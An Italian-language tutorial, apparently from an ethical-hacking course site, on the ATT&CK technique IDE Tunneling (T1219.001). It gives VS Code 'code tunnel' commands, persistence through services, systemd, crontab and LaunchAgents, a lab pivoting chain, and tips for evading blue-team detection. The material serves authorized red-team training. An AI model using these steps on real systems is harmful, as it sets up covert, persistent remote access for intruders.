Tunnel IDE: IDE Tunneling (T1219.001)
La tecnica T1219.001 — IDE Tunneling descrive l'abuso delle funzionalità di sviluppo remoto integrate negli Integrated Development Environment moderni per instaurare un canale di comando e controllo interattivo verso sistemi compromessi. Rientra nella tattica TA0011 (Command and Control) e si colloca nella fase post-exploitation della kill chain, dove l'attaccante ha già ottenuto esecuzione di codice sull'host bersaglio e cerca un canale persistente, cifrato e mimetizzato nel traffico legittimo.
A differenza di un semplice port forwarding SSH, un tunnel IDE incapsula un'intera sessione di sviluppo — editing, debugging, terminal, file transfer — dentro una connessione autenticata verso portali cloud legittimi come Microsoft Dev Tunnels o JetBrains Gateway. L'autenticazione avviene tipicamente tramite account GitHub, Microsoft Entra o JetBrains, e il traffico viaggia verso domini fidati (*.devtunnels.ms, *.tunnels.api.visualstudio.com), rendendo la distinzione dal lavoro legittimo di uno sviluppatore particolarmente ardua.
L'impatto operativo è significativo: un singolo comando come code tunnel genera un URL web che consente il controllo remoto del sistema senza aprire porte in ingresso, senza richiedere infrastruttura C2 dedicata e senza generare allarmi sui firewall perimetrali. La tecnica offre anche persistenza nativa grazie all'auto-reconnect degli IDE e alla possibilità di lanciare l'eseguibile all'avvio. Un solo gruppo APT — Mustang Panda (G0129) — risulta documentato in ATT&CK per l'impiego di questa procedura, ma la superficie di rischio è ampia in ogni ambiente dove Visual Studio Code o JetBrains IDE siano permessi.
In un esercizio red team autorizzato, la simulazione di T1219.001 richiede pochi passaggi ma offre un canale C2 estremamente pulito. Il tool primario è Visual Studio Code (gratuito) nella sua distribuzione CLI, disponibile come binario standalone senza necessità di installare l'IDE completo. Su un host Windows compromesso l'operatore scarica il CLI ufficiale e lancia:
code tunnel --accept-server-license-terms --name redteam-host01
Al primo avvio il processo stampa un codice di device flow e chiede autenticazione via GitHub o Microsoft account. Una volta completato il login da qualsiasi browser esterno, l'URL restituito (nella forma nome-tunnel.tunnels.api.visualstudio.com oppure attraverso vscode.dev) fornisce accesso completo al filesystem, terminale integrato e possibilità di port forward verso servizi interni.
Per garantire persistenza, il flag --install-as-service installa il tunnel come servizio Windows che si riavvia automaticamente. Su Linux la stessa CLI è disponibile come tarball; il comando è identico e la persistenza si ottiene con una unit systemd utente, oppure con una voce crontab @reboot. Su macOS un LaunchAgent in ~/Library/LaunchAgents/ con chiave RunAtLoad raggiunge lo stesso obiettivo.
La variante JetBrains Gateway (freemium) richiede installazione dell'agent remote-dev-server.sh sul target e apertura di una sessione dal client dell'operatore; il canale sfrutta SSH ma con handshake e keepalive proprietari.
Catena d'attacco tipica in un lab:
- Initial access tramite phishing con LNK o macro (fuori scope per questa tecnica)
- Download del CLI di VS Code in %LOCALAPPDATA% o ~/.local/bin per evitare directory di sistema
- Esecuzione di code tunnel user login --provider github con token PAT preparato in laboratorio
- Avvio del tunnel con nome host anonimo
- Uso del port forwarding integrato per pivotare verso RDP, SMB o servizi applicativi interni
Per misurare la detection capacity del blue team, l'operatore dovrebbe variare: il path di installazione del binario, il nome del tunnel (evitando parole ovvie), l'account di autenticazione (usando identità GitHub non collegate al red team), e l'orario di attivazione. È utile anche testare la variante code serve-web che espone l'editor via browser senza necessità di client desktop.
Strumenti di supporto per la fase di validazione includono Wireshark (open source) per confermare la destinazione delle connessioni TLS e Sysmon (gratuito) sul target per verificare quali eventi il red team stia effettivamente generando.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo